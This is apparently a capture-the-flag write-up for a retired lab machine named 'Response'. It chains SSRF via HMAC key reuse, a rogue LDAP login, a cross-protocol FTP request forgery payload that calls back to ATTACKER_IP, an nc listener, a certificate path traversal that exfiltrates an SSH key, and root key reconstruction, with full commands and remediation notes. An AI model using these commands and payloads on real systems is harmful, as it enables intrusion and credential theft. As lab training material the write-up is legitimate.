Response
Summary
I reconstructed a chain of internal-only web applications on response by abusing a status page that reflected the PHPSESSID cookie into a JavaScript snippet describing a server-side fetch proxy. Because the proxy signed both the target URL and my own session value with the same HMAC key, I turned the proxy into a universal GET oracle, used it to pull a chat application's source and replay its Socket.IO handshake through plain HTTP, and exploited an authentication routine that let the client dictate its own LDAP server to log in as a privileged chat user by standing up a rogue LDAP instance. From that privileged chat session I learned of an internal FTP server; a cross-protocol request forgery sent through the chat to a second employee's browser smuggled raw FTP commands in an HTTP POST body, leaking SSH credentials for a low-privileged user and user.txt.
A scheduled security-scanning script on that host ran as a higher-privileged account and read a path-traversal-vulnerable Nmap NSE script's certificate fields from LDAP, which was abused to exfiltrate that account's SSH private key inside a generated PDF report. Finally, forensic data recovered from that account's home directory (a packet capture and process memory dump of an earlier incident) allowed me to decrypt a captured command-and-control session and recover fragments of root's SSH private key, completing full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD3="<the-password-you-recovered, for bob>"Some commands also carry a value in angle brackets — <any-test-value>, <c>, <d>, <e>, <leaked_digest>, <leaked_session_digest>, <leaked_url_digest>, <new_pw>, <scan_ldap_bind_dn>, <scan_ldap_bind_pw>, <sid> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Resolve the discovered virtual host locally.
$ echo "$TARGET www.response.htb" | sudo tee -a /etc/hostsEnumerate internal vhosts behind the public site.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.response.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145Pull the status page JS revealing the proxy/url_digest fetch contract.
$ curl -sS --resolve www.response.htb:80:$TARGET -H 'Cookie: PHPSESSID=<any-test-value>' http://www.response.htb/status/main.js.phpFixStop disclosing internal virtual hosts and backend architecture to anonymous visitorsLow
Exact commands 2
Leak a valid digest for the target URL by abusing the cookie-signing reuse.
$ curl --resolve chat.response.htb:80:$TARGET -sS -H 'Host: www.response.htb' -H 'Cookie: PHPSESSID=http://chat.response.htb/files/chat_source.zip' http://$TARGET/status/main.js.phpReplay the leaked digest against the real proxy to fetch the chat app's source archive; substitute <leaked_digest> from the prior response.
$ curl -sS -X POST http://proxy.response.htb/fetch -H 'Content-Type: application/json' -d '{"url":"http://chat.response.htb/files/chat_source.zip","url_digest":"<leaked_digest>","method":"GET"}' | jq -r .body | base64 -d > chat_source.zipFixUse independent keys/contexts for distinct HMAC-signed values and validate proxy targetsCritical
Exact commands 4
Stand up a throwaway LDAP server I fully controls.
$ docker run -d --name rogue-ldap -p 389:389 -e LDAP_DOMAIN=response.htb -e LDAP_ADMIN_PASSWORD=admin osixia/openldap:1.5.0Create an 'admin' user in the rogue directory and set its password.
$ ldapadd -x -H ldap://127.0.0.1 -D 'cn=admin,dc=response,dc=htb' -w admin -f ou_users.ldif && ldappasswd -x -H ldap://127.0.0.1 -D 'cn=admin,dc=response,dc=htb' -w admin -s '<new_pw>' 'uid=admin,ou=users,dc=response,dc=htb'Open a Socket.IO polling session for the chat app through the SSRF oracle; repeat with the returned sid to poll (GET) and send (POST).
$ curl --resolve chat.response.htb:80:$TARGET -sS -H 'Host: www.response.htb' -H 'Cookie: PHPSESSID=http://chat.response.htb/socket.io/?EIO=4&transport=polling' http://$TARGET/status/main.js.phpSubmit the login event pointing authserver at my rogue LDAP, authenticating as the rogue 'admin' account.
$ curl -sS -X POST http://proxy.response.htb/fetch -H 'Content-Type: application/json' -d '{"url":"http://chat.response.htb/socket.io/?EIO=4&transport=polling&sid=<sid>","method":"POST","session":"40{\"username\":\"admin\",\"password\":\"<new_pw>\",\"authserver\":\"'"$ATTACKER_IP"':389\"}","session_digest":"<leaked_session_digest>","url_digest":"<leaked_url_digest>"}'FixNever let a client specify the authentication server it is validated againstCritical
Exact commands 3
Listener to catch the FTP active-mode data connection (run in background).
$ nc -lvnp 9001Serve index.html + payload.js to send to bob via chat.
$ python3 -m http.server 8080payload.js body (served to bob); PORT encodes $ATTACKER_IP as a,b,c,d and port 9001 as 35,41 (35*256+41). Swap LIST for 'RETR creds.txt' once the listing shows the file.
$ fetch('http://FTP_HOST:FTP_PORT/', {method:'POST', mode:'no-cors', body:'USER anonymous\r\nPASS x\r\nPORT <a>,<b>,<c>,<d>,35,41\r\nLIST\r\n'})FixRestrict internal FTP to authenticated, origin-aware clients and disable active modeHigh
Exact commands 2
Confirm access as bob; proof-of-access command.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no bob@$TARGET idRead the user flag. Replace with <user.txt> when reporting the value.
$ sshpass -p "$PASSWORD3" ssh bob@$TARGET cat /home/bob/user.txtExact commands 4
Register my host under ou=servers so the scheduled scan targets it; bind creds recovered in plaintext from scan.sh. DB resets each run so re-add before every trigger.
$ ldapadd -x -H ldap://$TARGET -D '<scan_ldap_bind_dn>' -w '<scan_ldap_bind_pw>' -f ipHost_entry.ldifSelf-signed cert whose stateOrProvinceName is a traversal path the vulnerable ssl-cert.nse will load as a filename.
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -subj '/C=US/ST=../../../../../.ssh/id_rsa/O=x' -nodesDerive the public key from the private key recovered inside the exfiltrated PDF, to confirm it before use.
$ ssh-keygen -y -f scryh_id_rsaAuthenticate as scryh using the recovered key.
$ chmod 600 scryh_id_rsa && ssh -i scryh_id_rsa scryh@$TARGET idFixSanitize certificate fields before using them as filesystem paths, and never store plaintext bind credentials in scriptsCritical
Exact commands 4
Export Objects to pull the auto_update sample and isolate the C2 stream on tcp/4444 for offline analysis.
$ wireshark -r dump.pcapCustom analysis of the process-memory dump against the captured traffic; not a single canonical tool invocation.
$ # Offline: parse the per-packet C2 framing from core.auto_update to recover the session key material, then decrypt dump.pcap's tcp/4444 stream with it.Reconstruct root's RSA private key once N, e, and a recovered prime factor from the decrypted archive are available.
$ python3 RsaCtfTool.py -n <N> -e <e> --private --dumpkeyAuthenticate as root with the reconstructed key; proof-of-access command before reading root.txt.
$ chmod 600 root_key && ssh -i root_key root@$TARGET idFixPurge and isolate forensic incident artifacts instead of leaving them in a user's home directoryCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.21.6 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.